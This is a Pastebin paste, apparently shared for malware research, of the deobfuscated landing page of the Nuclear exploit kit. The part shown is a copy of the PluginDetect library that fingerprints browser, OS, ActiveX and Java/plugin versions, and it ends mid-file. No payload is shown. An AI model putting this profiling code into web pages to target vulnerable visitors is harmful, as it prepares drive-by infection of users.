Advertisement
malwageddon

Nuclear EK deobfuscated landing page - 2014-09-12

Sep 23rd, 2014
644
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     var a = {
  3.         version: "0.8.8",
  4.         name: "PluginDetect",
  5.         addPlugin: function(b, c) {
  6.             b && a.isString(b) && c && a.isFunc(c.getVersion) && (b = b.replace(/\s/g, "").toLowerCase(), a.Plugins[b] = c, a.isDefined(c.getVersionDone) || (c.installed = null, c.version = null, c.version0 = null, c.getVersionDone = null, c.pluginName = b))
  7.         },
  8.         openTag: "<",
  9.         hasOwnProperty: {}.constructor.prototype.hasOwnProperty,
  10.         hasOwn: function(b, c) {
  11.             var d;
  12.             try {
  13.                 d = a.hasOwnProperty.call(b, c)
  14.             } catch (e) {}
  15.             return !!d
  16.         },
  17.         rgx: {
  18.             str: /string/i,
  19.             num: /number/i,
  20.             fun: /function/i,
  21.             arr: /array/i
  22.         },
  23.         toString: {}.constructor.prototype.toString,
  24.         isDefined: function(a) {
  25.             return "undefined" != typeof a
  26.         },
  27.         isArray: function(b) {
  28.             return a.rgx.arr.test(a.toString.call(b))
  29.         },
  30.         isString: function(b) {
  31.             return a.rgx.str.test(a.toString.call(b))
  32.         },
  33.         isNum: function(b) {
  34.             return a.rgx.num.test(a.toString.call(b))
  35.         },
  36.         isStrNum: function(b) {
  37.             return a.isString(b) && /\d/.test(b)
  38.         },
  39.         isFunc: function(b) {
  40.             return a.rgx.fun.test(a.toString.call(b))
  41.         },
  42.         getNumRegx: /[\d][\d\.\_,\-]*/,
  43.         splitNumRegx: /[\.\_,\-]/g,
  44.         getNum: function(b, c) {
  45.             var d = a.isStrNum(b) ? (a.isDefined(c) ? RegExp(c) : a.getNumRegx).exec(b) : null;
  46.             return d ? d[0] : null
  47.         },
  48.         compareNums: function(b, c, d) {
  49.             var e = parseInt;
  50.             if (a.isStrNum(b) && a.isStrNum(c)) {
  51.                 if (a.isDefined(d) && d.compareNums) return d.compareNums(b, c);
  52.                 b = b.split(a.splitNumRegx);
  53.                 c = c.split(a.splitNumRegx);
  54.                 for (d = 0; d < Math.min(b.length, c.length); d++) {
  55.                     if (e(b[d], 10) > e(c[d], 10)) return 1;
  56.                     if (e(b[d], 10) < e(c[d], 10)) return -1
  57.                 }
  58.             }
  59.             return 0
  60.         },
  61.         formatNum: function(b, c) {
  62.             var d, e;
  63.             if (!a.isStrNum(b)) return null;
  64.             a.isNum(c) || (c = 4);
  65.             c--;
  66.             e = b.replace(/\s/g, "").split(a.splitNumRegx).concat(["0", "0", "0", "0"]);
  67.             for (d = 0; 4 > d; d++)
  68.                 if (/^(0+)(.+)$/.test(e[d]) && (e[d] = RegExp.$2), d > c || !/\d/.test(e[d])) e[d] = "0";
  69.             return e.slice(0, 4).join(",")
  70.         },
  71.         pd: {
  72.             getPROP: function(b, c, d) {
  73.                 try {
  74.                     b && (d = b[c])
  75.                 } catch (e) {}
  76.                 return d
  77.             },
  78.             findNavPlugin: function(b) {
  79.                 if (b.dbug) return b.dbug;
  80.                 if (window.navigator) {
  81.                     var c = {
  82.                             Find: a.isString(b.find) ? RegExp(b.find, "i") : b.find,
  83.                             Find2: a.isString(b.find2) ? RegExp(b.find2, "i") : b.find2,
  84.                             Avoid: b.avoid ? a.isString(b.avoid) ? RegExp(b.avoid, "i") : b.avoid : 0,
  85.                             Num: b.num ? /\d/ : 0
  86.                         },
  87.                         d, e, f, g = navigator.mimeTypes,
  88.                         h = navigator.plugins,
  89.                         l = null;
  90.                     if (b.mimes && g)
  91.                         for (f = a.isArray(b.mimes) ? [].concat(b.mimes) : a.isString(b.mimes) ? [b.mimes] : [], d = 0; d < f.length; d++) {
  92.                             e = 0;
  93.                             try {
  94.                                 a.isString(f[d]) && /[^\s]/.test(f[d]) && (e = g[f[d]].enabledPlugin)
  95.                             } catch (n) {}
  96.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  97.                         }
  98.                     if (b.plugins && h) {
  99.                         b = a.isArray(b.plugins) ? [].concat(b.plugins) : a.isString(b.plugins) ? [b.plugins] : [];
  100.                         for (d = 0; d < b.length; d++) {
  101.                             e = 0;
  102.                             try {
  103.                                 b[d] && a.isString(b[d]) && (e = h[b[d]])
  104.                             } catch (p) {}
  105.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  106.                         }
  107.                         b = h.length;
  108.                         if (a.isNum(b))
  109.                             for (d = 0; d < b; d++) {
  110.                                 e = 0;
  111.                                 try {
  112.                                     e = h[d]
  113.                                 } catch (m) {}
  114.                                 if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) break
  115.                             }
  116.                     }
  117.                 }
  118.                 return l
  119.             },
  120.             findNavPlugin_: function(a, c) {
  121.                 var d = a.description || "",
  122.                     e = a.name || "",
  123.                     f = {};
  124.                 if (c.Find.test(d) && !(c.Find2 && !c.Find2.test(e) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext)) || c.Find.test(e) && !(c.Find2 && !c.Find2.test(d) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext))) c.Avoid && (c.Avoid.test(d) || c.Avoid.test(e)) || (f.obj = a);
  125.                 return f
  126.             },
  127.             getVersionDelimiter: ",",
  128.             findPlugin: function(b) {
  129.                 var c, d = {
  130.                     status: -3,
  131.                     plugin: 0
  132.                 };
  133.                 if (!a.isString(b)) return d;
  134.                 if (1 == b.length) return this.getVersionDelimiter = b, d;
  135.                 b = b.toLowerCase().replace(/\s/g, "");
  136.                 c = a.Plugins[b];
  137.                 if (!c || !c.getVersion) return d;
  138.                 d.plugin = c;
  139.                 d.status = 1;
  140.                 return d
  141.             }
  142.         },
  143.         getPluginFileVersion: function(b, c) {
  144.             var d, e, f, g, h = -1;
  145.             if (!b) return c;
  146.             b.version && (d = a.getNum(b.version + ""));
  147.             if (!d || !c) return c || d || null;
  148.             d = a.formatNum(d);
  149.             c = a.formatNum(c);
  150.             e = c.split(a.splitNumRegx);
  151.             f = d.split(a.splitNumRegx);
  152.             for (g = 0; g < e.length; g++)
  153.                 if (-1 < h && g > h && "0" != e[g] || f[g] != e[g] && (-1 == h && (h = g), "0" != e[g])) return c;
  154.             return d
  155.         },
  156.         AXO: function() {
  157.             var a;
  158.             try {
  159.                 a = new window.ActiveXObject
  160.             } catch (c) {}
  161.             return a ? null : window.ActiveXObject
  162.         }(),
  163.         getAXO: function(b) {
  164.             var c = null;
  165.             try {
  166.                 c = new a.AXO(b)
  167.             } catch (d) {}
  168.             c && (a.browser.ActiveXEnabled = !0);
  169.             return c
  170.         },
  171.         browser: {},
  172.         INIT: function() {
  173.             a.init.library()
  174.         },
  175.         init: {
  176.             hasRun: 0,
  177.             detectIE: function() {
  178.                 var b = a.browser,
  179.                     c = document,
  180.                     d, e = window.navigator ? navigator.userAgent || "" : "",
  181.                     f, g;
  182.                 b.ActiveXFilteringEnabled = !1;
  183.                 b.ActiveXEnabled = !1;
  184.                 try {
  185.                     b.ActiveXFilteringEnabled = !!window.external.msActiveXFilteringEnabled()
  186.                 } catch (h) {}
  187.                 g = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  188.                 f = "Msxml2.XMLHTTP Msxml2.DOMDocument Microsoft.XMLDOM TDCCtl.TDCCtl Shell.UIHelper HtmlDlgSafeHelper.HtmlDlgSafeHelper Scripting.Dictionary".split(" ").concat(g);
  189.                 for (d = 0; d < f.length && (!a.getAXO(f[d]) || a.dbug); d++);
  190.                 if (b.ActiveXEnabled && b.ActiveXFilteringEnabled)
  191.                     for (d = 0; d < g.length; d++)
  192.                         if (a.getAXO(g[d])) {
  193.                             b.ActiveXFilteringEnabled = !1;
  194.                             break
  195.                         }
  196.                 d = c.documentMode;
  197.                 try {
  198.                     c.documentMode = ""
  199.                 } catch (l) {}
  200.                 b.isIE = b.ActiveXEnabled || a.isNum(c.documentMode) || eval("/*@cc_on!@*/!1");
  201.                 try {
  202.                     c.documentMode = d
  203.                 } catch (n) {}
  204.                 b.verIE = null;
  205.                 b.isIE && (b.verIE = (a.isNum(c.documentMode) && 7 <= c.documentMode ? c.documentMode : 0) || (/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i.test(e) ? parseFloat(RegExp.$1, 10) : 7));
  206.             },
  207.             detectNonIE: function() {
  208.                 var b = a.browser,
  209.                     c = window.navigator ? navigator : {},
  210.                     d = b.isIE ? "" : c.userAgent || "",
  211.                     e = c.vendor || "",
  212.                     c = c.product || "";
  213.                 b.isGecko = /Gecko/i.test(c) && /Gecko\s*\/\s*\d/i.test(d);
  214.                 b.verGecko = b.isGecko ? a.formatNum(/rv\s*\:\s*([\.\,\d]+)/i.test(d) ? RegExp.$1 : "0.9") : null;
  215.                 b.isOpera = /(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i.test(d);
  216.                 b.verOpera = b.isOpera ? a.formatNum(RegExp.$2) : null;
  217.                 b.isChrome = !b.isOpera && /(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i.test(d);
  218.                 b.verChrome = b.isChrome ? a.formatNum(RegExp.$2) : null;
  219.                 b.isSafari = !b.isOpera && !b.isChrome && (/Apple/i.test(e) || !e) && /Safari\s*\/\s*(\d[\d\.]*)/i.test(d);
  220.                 b.verSafari = b.isSafari && /Version\s*\/\s*(\d[\d\.]*)/i.test(d) ? a.formatNum(RegExp.$1) : null;
  221.             },
  222.             detectPlatform: function() {
  223.                 var b, c = window.navigator ? navigator.platform || "" : "";
  224.                 a.OS = 100;
  225.                 if (c) {
  226.                     var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  227.                     for (b = d.length - 2; 0 <= b; b -= 2)
  228.                         if (d[b] && RegExp(d[b], "i").test(c)) {
  229.                             a.OS = d[b + 1];
  230.                             break
  231.                         }
  232.                 }
  233.             },
  234.             library: function() {
  235.                 var b = document;
  236.                 a.win.init();
  237.                 a.head = b.getElementsByTagName("head")[0] || b.getElementsByTagName("body")[0] || b.body || null;
  238.                 this.detectPlatform();
  239.                 this.detectIE();
  240.                 this.detectNonIE();
  241.                 this.hasRun = 1;
  242.             }
  243.         },
  244.         ev: {
  245.             handler: function(a, c, d, e) {
  246.                 return function() {
  247.                     a(c, d, e)
  248.                 }
  249.             },
  250.             fPush: function(b, c) {
  251.                 a.isArray(c) && (a.isFunc(b) || a.isArray(b) && 0 < b.length && a.isFunc(b[0])) && c.push(b)
  252.             },
  253.             call0: function(b) {
  254.                 var c = a.isArray(b) ? b.length : -1;
  255.                 0 < c && a.isFunc(b[0]) ? (b[0](a, 1 < c ? b[1] : 0, 2 < c ? b[2] : 0, 3 < c ? b[3] : 0)) : a.isFunc(b) && (b(a));
  256.             },
  257.             callArray0: function(b) {
  258.                 var c;
  259.                 if (a.isArray(b))
  260.                     for (; b.length;) c = b[0], b.splice(0, 1), this.call0(c)
  261.             },
  262.             call: function(a) {
  263.                 this.call0(a);
  264.                 this.ifDetectDoneCallHndlrs()
  265.             },
  266.             callArray: function(a) {
  267.                 this.callArray0(a);
  268.                 this.ifDetectDoneCallHndlrs()
  269.             },
  270.             allDoneHndlrs: [],
  271.             ifDetectDoneCallHndlrs: function() {
  272.                 var b, c;
  273.                 if (this.allDoneHndlrs.length && (!a.win || a.win.loaded && !a.win.loadPrvtHndlrs.length && !a.win.loadPblcHndlrs.length)) {
  274.                     if (a.Plugins)
  275.                         for (b in a.Plugins)
  276.                             if (c = a.Plugins[b], a.hasOwn(a.Plugins, b) && c && a.isFunc(c.getVersion) && (3 == c.OTF || c.DoneHndlrs && c.DoneHndlrs.length)) return;
  277.                     this.callArray0(this.allDoneHndlrs);
  278.                 }
  279.             }
  280.         },
  281.         isMinVersion: function(b, c, d, e) {
  282.             var f = a.pd.findPlugin(b),
  283.                 g = -1;
  284.             if (0 > f.status) return f.status;
  285.             f = f.plugin;
  286.             c = a.formatNum(a.isNum(c) ? c.toString() : a.isStrNum(c) ? a.getNum(c) : "0");
  287.             1 != f.getVersionDone && (f.getVersion(c, d, e), null === f.getVersionDone && (f.getVersionDone = 1));
  288.             null !== f.installed && (g = 0.5 >= f.installed ? f.installed : 0.7 == f.installed ? 1 : null === f.version ? 0 : 0 <= a.compareNums(f.version, c, f) ? 1 : -0.1);
  289.             return g
  290.         },
  291.         getVersion: function(b, c, d) {
  292.             var e = a.pd.findPlugin(b);
  293.             if (0 > e.status) return null;
  294.             e = e.plugin;
  295.             1 != e.getVersionDone && (e.getVersion(null, c, d), null === e.getVersionDone && (e.getVersionDone = 1));
  296.             e = (e = e.version || e.version0) ? e.replace(a.splitNumRegx, a.pd.getVersionDelimiter) : e;
  297.             return e
  298.         },
  299.         hasMimeType: function(b) {
  300.             if (b && window.navigator && navigator.mimeTypes) {
  301.                 var c, d, e, f = navigator.mimeTypes,
  302.                     g = a.isArray(b) ? [].concat(b) : a.isString(b) ? [b] : [];
  303.                 e = g.length;
  304.                 for (d = 0; d < e; d++) {
  305.                     b = 0;
  306.                     try {
  307.                         a.isString(g[d]) && /[^\s]/.test(g[d]) && (b = f[g[d]])
  308.                     } catch (h) {}
  309.                     if ((c = b ? b.enabledPlugin : 0) && (c.name || c.description)) return b
  310.                 }
  311.             }
  312.             return null
  313.         },
  314.         onDetectionDone: function(b, c, d, e) {
  315.             var f = a.pd.findPlugin(b);
  316.             if (-3 == f.status) return -1;
  317.             f = f.plugin;
  318.             a.isArray(f.DoneHndlrs) || (f.DoneHndlrs = []);
  319.             1 != f.getVersionDone && (a.getVersion ? a.getVersion(b, d, e) : a.isMinVersion(b, "0", d, e));
  320.             if (-0.5 != f.installed && 0.5 != f.installed) return a.ev.call(c), 1;
  321.             a.ev.fPush(c, f.DoneHndlrs);
  322.             return 0
  323.         },
  324.         codebase: {
  325.             isDisabled: function() {
  326.                 return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 0 : 1
  327.             },
  328.             pluginMayBeHanging: function(b) {
  329.                 return !this.isDisabled() && b && a.isDefined(a.pd.getPROP(b, "readyState")) && a.pd.getPROP(b.firstChild, "object") && (b = a.pd.getPROP(b.firstChild, "readyState"), a.isNum(b) && 4 != b) ? (1) : 0
  330.             },
  331.             emptyNode: function(a) {
  332.                 try {
  333.                     a.innerHTML = ""
  334.                 } catch (c) {}
  335.             },
  336.             emptyGarbage: function() {
  337.                 var b, c = this.HTML,
  338.                     d = 0;
  339.                 if (c.length) {
  340.                     for (b = c.length - 1; b >= this.len; b--) c[b] && c[b].span && this.pluginMayBeHanging(c[b].span) && (this.emptyNode(c[b].span), c[b].span = null, d = 1);
  341.                     this.len = c.length;
  342.                     if (d) {
  343.                         try {
  344.                             window.CollectGarbage()
  345.                         } catch (e) {}
  346.                     }
  347.                 }
  348.             },
  349.             HTML: [],
  350.             len: 0,
  351.             onDone: function(a, c) {
  352.                 var d, e = c.HTML;
  353.                 for (d = 0; d < e.length; d++) e[d] && e[d].span && (c.emptyNode(e[d].span), e[d].span = null)
  354.             },
  355.             init: function(b) {
  356.                 if (!b.init) {
  357.                     b.init = 1;
  358.                     var c;
  359.                     a.ev.fPush([this.onDone, this], a.win.unloadHndlrs);
  360.                     b.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  361.                     c = b.classID || b.$$.classID || "";
  362.                     b.tagB = '" ' + (/clsid\s*:/i.test(c) ? 'classid="' : 'type="') + c + '">' + a.openTag + "/object>";
  363.                     for (c = 0; c < b.Lower.length; c++) b.Lower[c] = a.formatNum(b.Lower[c]), b.Upper[c] = a.formatNum(b.Upper[c]);
  364.                 }
  365.             },
  366.             isActiveXObject: function(b, c) {
  367.                 var d = 0,
  368.                     e = b.$$,
  369.                     f = document.createElement("span");
  370.                 if (b.min && 0 >= a.compareNums(c, b.min)) return 1;
  371.                 if (b.max && 0 <= a.compareNums(c, b.max)) return 0;
  372.                 f.innerHTML = b.tagA + c + b.tagB;
  373.                 a.pd.getPROP(f.firstChild, "object") && (d = 1);
  374.                 d ? (b.min = c, this.HTML.push({
  375.                     span: f
  376.                 })) : (b.max = c, f.innerHTML = "");
  377.                 return d
  378.             },
  379.             convert_: function(b, c, d, e) {
  380.                 return (b = b.convert[c]) ? a.isFunc(b) ? a.formatNum(b(d.split(a.splitNumRegx), e).join(",")) : d : b
  381.             },
  382.             convert: function(b, c, d) {
  383.                 var e, f, g;
  384.                 c = a.formatNum(c);
  385.                 f = {
  386.                     v: c,
  387.                     x: -1
  388.                 };
  389.                 if (c)
  390.                     for (e = 0; e < b.Lower.length; e++)
  391.                         if ((g = this.convert_(b, e, b.Lower[e])) && 0 <= a.compareNums(c, d ? g : b.Lower[e]) && (!e || 0 > a.compareNums(c, d ? this.convert_(b, e, b.Upper[e]) : b.Upper[e]))) {
  392.                             f.v = this.convert_(b, e, c, d);
  393.                             f.x = e;
  394.                             break
  395.                         }
  396.                 return f
  397.             },
  398.             isMin: function(b, c) {
  399.                 var d, e = 0;
  400.                 if (!a.isStrNum(c) || this.isDisabled()) return e;
  401.                 this.init(b);
  402.                 if (!b.L)
  403.                     for (b.L = {}, d = 0; d < b.Lower.length; d++)
  404.                         if (this.isActiveXObject(b, b.Lower[d])) {
  405.                             b.L = this.convert(b, b.Lower[d]);
  406.                             break
  407.                         }
  408.                 b.L.v && (d = this.convert(b, c, 1), 0 <= d.x && (e = (b.L.x == d.x ? this.isActiveXObject(b, d.v) : 0 >= a.compareNums(c, b.L.v)) ? 1 : -1));
  409.                 return e
  410.             },
  411.             search: function(b) {
  412.                 var c = this,
  413.                     d = b.$$,
  414.                     e = 0,
  415.                     f;
  416.                 f = b.searchHasRun || c.isDisabled() ? 1 : 0;
  417.                 b.searchHasRun = 1;
  418.                 if (f) return b.version || null;
  419.                 c.init(b);
  420.                 var g, h = function(d, f) {
  421.                         var g = [].concat(m);
  422.                         g[d] = f;
  423.                         g = c.isActiveXObject(b, g.join(","));
  424.                         g ? (e = 1, m[d] = f) : k[d] = f;
  425.                         return g
  426.                     },
  427.                     l = b.DIGITMAX,
  428.                     n, p, m = [0, 0, 0, 0],
  429.                     k = [0, 0, 0, 0];
  430.                 for (f = 0; f < k.length; f++) {
  431.                     m[f] = Math.floor(b.DIGITMIN[f]) || 0;
  432.                     n = m.join(",");
  433.                     p = m.slice(0, f).concat([99999999, 99999999, 99999999, 99999999]).slice(0, m.length).join(",");
  434.                     for (g = 0; g < l.length; g++) a.isArray(l[g]) && (l[g].push(0), l[g][f] > k[f] && 0 <= a.compareNums(p, b.Lower[g]) && 0 > a.compareNums(n, b.Upper[g]) && (k[f] = Math.floor(l[g][f])));
  435.                     for (g = 0; 30 > g; g++) {
  436.                         if (16 >= k[f] - m[f]) {
  437.                             for (g = k[f]; g >= m[f] + (f ? 1 : 0) && !h(f, g); g--);
  438.                             break
  439.                         }
  440.                         h(f, Math.round((k[f] + m[f]) / 2))
  441.                     }
  442.                     if (!e) break;
  443.                     k[f] = m[f];
  444.                 }
  445.                 e && (b.version = c.convert(b, m.join(",")).v);
  446.                 return b.version || null
  447.             }
  448.         },
  449.         win: {
  450.             loaded: !1,
  451.             hasRun: 0,
  452.             init: function() {
  453.                 this.hasRun || (this.hasRun = 1, this.addEvent("load", this.onLoad), this.addEvent("unload", this.onUnload))
  454.             },
  455.             addEvent: function(b, c) {
  456.                 var d = window;
  457.                 a.isFunc(c) && (d.addEventListener ? d.addEventListener(b, c, !1) : d.attachEvent ? d.attachEvent("on" + b, c) : d["on" + b] = this.concatFn(c, d["on" + b]))
  458.             },
  459.             concatFn: function(a, c) {
  460.                 return function() {
  461.                     a();
  462.                     "function" == typeof c && c()
  463.                 }
  464.             },
  465.             loadPrvtHndlrs: [],
  466.             loadPblcHndlrs: [],
  467.             unloadHndlrs: [],
  468.             onUnload: function() {
  469.                 if (a && a.win) {
  470.                     a.ev.callArray(a.win.unloadHndlrs);
  471.                     for (var b in a) a[b] = 0;
  472.                     a = 0
  473.                 }
  474.             },
  475.             count: 0,
  476.             countMax: 1,
  477.             intervalLength: 10,
  478.             onLoad: function() {
  479.                 if (a && a.win && !a.win.loaded) {
  480.                     var b = a.win;
  481.                     b.count < b.countMax && b.loadPrvtHndlrs.length ? (setTimeout(b.onLoad, b.intervalLength)) : (b.loaded = !0, a.ev.callArray(b.loadPrvtHndlrs), a.ev.callArray(b.loadPblcHndlrs));
  482.                     b.count++
  483.                 }
  484.             }
  485.         },
  486.         DOM: {
  487.             isEnabled: {
  488.                 objectTag: function() {
  489.                     return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  490.                 },
  491.                 objectTagUsingActiveX: function() {
  492.                     return a.browser.ActiveXEnabled
  493.                 },
  494.                 objectProperty: function() {
  495.                     return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 1 : 0
  496.                 }
  497.             },
  498.             div: null,
  499.             divID: "plugindetect",
  500.             divWidth: 300,
  501.             getDiv: function() {
  502.                 return this.div || document.getElementById(this.divID) || null
  503.             },
  504.             initDiv: function() {
  505.                 var b;
  506.                 this.div || ((b = this.getDiv()) ? (this.div = b) : (this.div = document.createElement("div"), this.div.id = this.divID, this.setStyle(this.div, this.getStyle.div()), this.insertDivInBody(this.div)), a.ev.fPush([this.onWinUnloadEmptyDiv, this], a.win.unloadHndlrs))
  507.             },
  508.             pluginSize: 1,
  509.             altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  510.             emptyNode: function(b) {
  511.                 if (b && /div|span/i.test(b.tagName || "")) {
  512.                     a.browser.isIE && this.setStyle(b, ["display", "none"]);
  513.                     try {
  514.                         b.innerHTML = ""
  515.                     } catch (c) {}
  516.                 }
  517.             },
  518.             onWinUnloadEmptyDiv: function(a, c) {
  519.                 var d = c.getDiv(),
  520.                     e, f;
  521.                 if (d) {
  522.                     if (d.childNodes) {
  523.                         for (e = d.childNodes.length - 1; 0 <= e; e--) f = d.childNodes[e], c.emptyNode(f);
  524.                         try {
  525.                             d.innerHTML = ""
  526.                         } catch (g) {}
  527.                     }
  528.                     if (d.parentNode) {
  529.                         try {
  530.                             d.parentNode.removeChild(d)
  531.                         } catch (h) {}
  532.                         c.div = null
  533.                     }
  534.                 }
  535.             },
  536.             width: function() {
  537.                 var b = this.span,
  538.                     c;
  539.                 c = b && a.isNum(b.scrollWidth) ? b.scrollWidth : -1;
  540.                 b = b && a.isNum(b.offsetWidth) ? b.offsetWidth : -1;
  541.                 return 0 < b ? b : 0 < c ? c : Math.max(b, c)
  542.             },
  543.             obj: function(a) {
  544.                 return (a = this.span) && a.firstChild ? a.firstChild : null
  545.             },
  546.             readyState: function() {
  547.                 return a.browser.isIE && a.isDefined(a.pd.getPROP(this.span, "readyState")) ? a.pd.getPROP(this.obj(), "readyState") : this.undefined
  548.             },
  549.             objectProperty: function() {
  550.                 var b;
  551.                 this.DOM.isEnabled.objectProperty() && (b = a.pd.getPROP(this.obj(), "object"));
  552.                 return b
  553.             },
  554.             getTagStatus: function(b, c, d, e, f, g) {
  555.                 if (!b || !b.span) return -2;
  556.                 var h = b.width(),
  557.                     l = b.readyState(),
  558.                     n = b.objectProperty();
  559.                 if (n) return 1.5;
  560.                 var k = /clsid\s*\:/i,
  561.                     m = d && k.test(d.outerHTML || "") ? d : e && k.test(e.outerHTML || "") ? e : 0;
  562.                 d = d && !k.test(d.outerHTML || "") ? d : e && !k.test(e.outerHTML || "") ? e : 0;
  563.                 k = b && k.test(b.outerHTML || "") ? m : d;
  564.                 if (!(c && c.span && k && k.span)) return 0;
  565.                 m = k.width();
  566.                 c = c.width();
  567.                 d = k.readyState();
  568.                 if (0 > h || 0 > m || c <= this.pluginSize) return 0;
  569.                 g && !b.pi && a.isDefined(n) && a.browser.isIE && b.tagName == k.tagName && b.time <= k.time && h === m && 0 === l && 0 !== d && (b.pi = 1);
  570.                 if (m < c) return b.pi ? -0.1 : 0;
  571.                 if (h >= c && (!b.winLoaded && a.win.loaded || a.isNum(f) && (a.isNum(b.count2) || (b.count2 = f), 0 < f - b.count2))) return b.pi ? -0.5 : -1;
  572.                 try {
  573.                     if (h == this.pluginSize && (!a.browser.isIE || 4 === l) && (!b.winLoaded && a.win.loaded || b.winLoaded && a.isNum(f) && (a.isNum(b.count) || (b.count = f), 5 <= f - b.count))) return 1
  574.                 } catch (q) {}
  575.                 return b.pi ? -0.1 : 0
  576.             },
  577.             setStyle: function(a, c) {
  578.                 var d = a.style,
  579.                     e;
  580.                 if (d && c)
  581.                     for (e = 0; e < c.length; e += 2) try {
  582.                         d[c[e]] = c[e + 1]
  583.                     } catch (f) {}
  584.             },
  585.             getStyle: {
  586.                 span: function() {
  587.                     var b = a.DOM;
  588.                     return [].concat(this.Default).concat(["display", "inline", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px"])
  589.                 },
  590.                 div: function() {
  591.                     var b = a.DOM;
  592.                     return [].concat(this.Default).concat(["display", "block", "width", b.divWidth + "px", "height", b.pluginSize + 3 + "px", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  593.                 },
  594.                 plugin: function(b) {
  595.                     var c = a.DOM;
  596.                     return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (c.pluginSize + 3) + "px;line-height:" + (c.pluginSize + 3) + "px;"
  597.                 },
  598.                 Default: "backgroundColor transparent backgroundImage none verticalAlign baseline outlineStyle none borderStyle none padding 0px margin 0px visibility visible".split(" ")
  599.             },
  600.             insertDivInBody: function(b, c) {
  601.                 var d = null,
  602.                     e = c ? window.top.document : window.document,
  603.                     f = e.getElementsByTagName("body")[0] || e.body;
  604.                 if (!f) try {
  605.                     e.write('<div id="pd33993399">.' + a.openTag + "/div>"), d = e.getElementById("pd33993399")
  606.                 } catch (g) {}
  607.                 if (f = e.getElementsByTagName("body")[0] || e.body) f.insertBefore(b, f.firstChild), d && f.removeChild(d)
  608.             },
  609.             insert: function(b, c, d, e, f, g, h) {
  610.                 var l, k = document.createElement("span");
  611.                 a.isDefined(e) || (e = "");
  612.                 if (a.isString(b) && /[^\s]/.test(b)) {
  613.                     b = b.toLowerCase().replace(/\s/g, "");
  614.                     l = a.openTag + b + " ";
  615.                     l += 'style="' + this.getStyle.plugin(g) + '" ';
  616.                     var p = 1,
  617.                         m = 1;
  618.                     for (g = 0; g < c.length; g += 2) /[^\s]/.test(c[g + 1]) && (l += c[g] + '="' + c[g + 1] + '" '), /width/i.test(c[g]) && (p = 0), /height/i.test(c[g]) && (m = 0);
  619.                     l += (p ? 'width="' + this.pluginSize + '" ' : "") + (m ? 'height="' + this.pluginSize + '" ' : "");
  620.                     l += ">";
  621.                     for (g = 0; g < d.length; g += 2) /[^\s]/.test(d[g + 1]) && (l += a.openTag + 'param name="' + d[g] + '" value="' + d[g + 1] + '" />');
  622.                     l += e + a.openTag + "/" + b + ">"
  623.                 } else b = "", l = e;
  624.                 h || this.initDiv();
  625.                 c = h || this.getDiv();
  626.                 b = {
  627.                     span: null,
  628.                     winLoaded: a.win.loaded,
  629.                     tagName: b,
  630.                     outerHTML: l,
  631.                     DOM: this,
  632.                     time: (new Date).getTime(),
  633.                     width: this.width,
  634.                     obj: this.obj,
  635.                     readyState: this.readyState,
  636.                     objectProperty: this.objectProperty
  637.                 };
  638.                 if (c && c.parentNode) {
  639.                     this.setStyle(k, this.getStyle.span());
  640.                     c.appendChild(k);
  641.                     try {
  642.                         k.innerHTML = l
  643.                     } catch (q) {}
  644.                     b.span = k;
  645.                     b.winLoaded = a.win.loaded
  646.                 }
  647.                 return b
  648.             }
  649.         },
  650.         file: {
  651.             any: "fileStorageAny999",
  652.             valid: "fileStorageValid999",
  653.             save: function(b, c, d) {
  654.                 b && a.isDefined(d) && (b[this.any] || (b[this.any] = []), b[this.valid] || (b[this.valid] = []), b[this.any].push(d), (c = this.split(c, d)) && b[this.valid].push(c))
  655.             },
  656.             getValidLength: function(a) {
  657.                 return a && a[this.valid] ? a[this.valid].length : 0
  658.             },
  659.             getAnyLength: function(a) {
  660.                 return a && a[this.any] ? a[this.any].length : 0
  661.             },
  662.             getValid: function(a, c) {
  663.                 return a && a[this.valid] ? this.get(a[this.valid], c) : null
  664.             },
  665.             getAny: function(a, c) {
  666.                 return a && a[this.any] ? this.get(a[this.any], c) : null
  667.             },
  668.             get: function(b, c) {
  669.                 var d = b.length - 1,
  670.                     e = a.isNum(c) ? c : d;
  671.                 return 0 > e || e > d ? null : b[e]
  672.             },
  673.             split: function(b, c) {
  674.                 var d = null,
  675.                     e;
  676.                 b = b ? b.replace(".", "\.") : "";
  677.                 e = RegExp("^(.*[^\/])(" + b + "\s*)$");
  678.                 a.isString(c) && e.test(c) && (e = RegExp.$1.split("/"), d = {
  679.                     name: e[e.length - 1],
  680.                     ext: RegExp.$2,
  681.                     full: c
  682.                 }, e[e.length - 1] = "", d.path = e.join("/"));
  683.                 return d
  684.             }
  685.         },
  686.         Plugins: {}
  687.     };
  688.     window[a.name] = a;
  689.     a.INIT();
  690.     var k = {
  691.         mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  692.         mimeType_dummy: "application/dummymimejavaapplet",
